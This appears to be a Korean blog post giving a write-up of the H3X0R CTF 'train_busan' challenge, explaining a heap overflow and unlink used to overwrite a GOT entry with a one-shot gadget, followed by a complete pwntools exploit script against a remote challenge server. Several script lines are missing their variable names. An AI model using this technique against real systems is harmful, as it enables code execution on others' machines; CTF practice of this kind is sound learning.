ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • H3X0R CTF train_busan
    CTF 2017. 1. 10. 13:25

    이 문제는 힙을 다루는데, 정확히 말하자면 fastbin attack 이다.


    청크는 3개만 할당 가능하고, unlink는 딱 한번만 할당이 가능하며, modify 기능이 있다.




    한 청크가 할당도되면 0x18사이즈로 할당이되고, 입력이 가능해진다. 




    힙 오버플로우 또한 그냥 주게된다. 여기서 힙오버플로우가 발생하니까 fd와 bk를 조작해서 어떠한 주소를 조작할수있단 얘기다.




    unlink를 호출하는데, B를 unlink한다. 그럼 B의 fd와 bk를 조작해서 fd를 덮는다면 모두 끝날것이다.


    처음엔, fd에 got를, bk에 one_shot주소를 덮었지만 세그폴이 발생해서 이 방법으론 안되겠다고 생각하고, 포인터를 조작했다.


    A,B,C를 조작할수있는데 B는 unlink되니까 C나 A를 조작하면된다.


    C를 조작해서 C를 modify한다면, modify는 그 포인터대로 조작이가능하기때문에 GOT를 modify 할 수 있다.



    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    from pwn import *
     
    # p = remote("10.211.55.4",11111)
    = remote("52.199.49.117",10006)
     
    def system_leak():
        print p.recvuntil("5. EXIT")
        p.sendline("1")
        print p.recvuntil("system : ")
        libc_system = int(p.recv(14),16)
        return libc_system
     
    def add(data):
        print p.recvuntil("5. EXIT")
        p.sendline("1")
        print p.recvuntil("class :")
        p.sendline(data)
     
    def modify(idx,data):
        print p.recvuntil("5. EXIT")
        p.sendline("3")
        print p.recvuntil("modify? :")
        p.sendline(str(idx))
        print p.recvuntil("class :")
        p.sendline(data)
    = 0x602090
    exit_got = 0x602060
    libc_system = system_leak()
    libc_base = libc_system-0x46590
    one_shot = libc_base + 0x46428
    log.info("libc_system: "+ hex(libc_system))
    log.info("one_shot: " + hex(one_shot))
     
     
     
    raw_input()
     
    add("A"*8)
    add("B"*8)
    add("C"*8)
    exit = 0x602060
    payload = "A"*8
    payload += p64(0x21)
    payload += p64(exit-24)
    payload += p64(0x602098)
    modify(1,payload)
     
    p.sendline("2")
     
     
    modify(3,p64(one_shot))
     
    p.interactive()
    cs





    'CTF' 카테고리의 다른 글

    TJCTF blag  (0) 2017.01.14
    HITCON CTF sleepy_holder  (0) 2017.01.11
    H3X0R CTF comment  (0) 2017.01.09
    H3X0R CTF ezheap  (1) 2017.01.08
    H3X0R CTF Be rich  (0) 2017.01.08

    댓글

Designed by Tistory.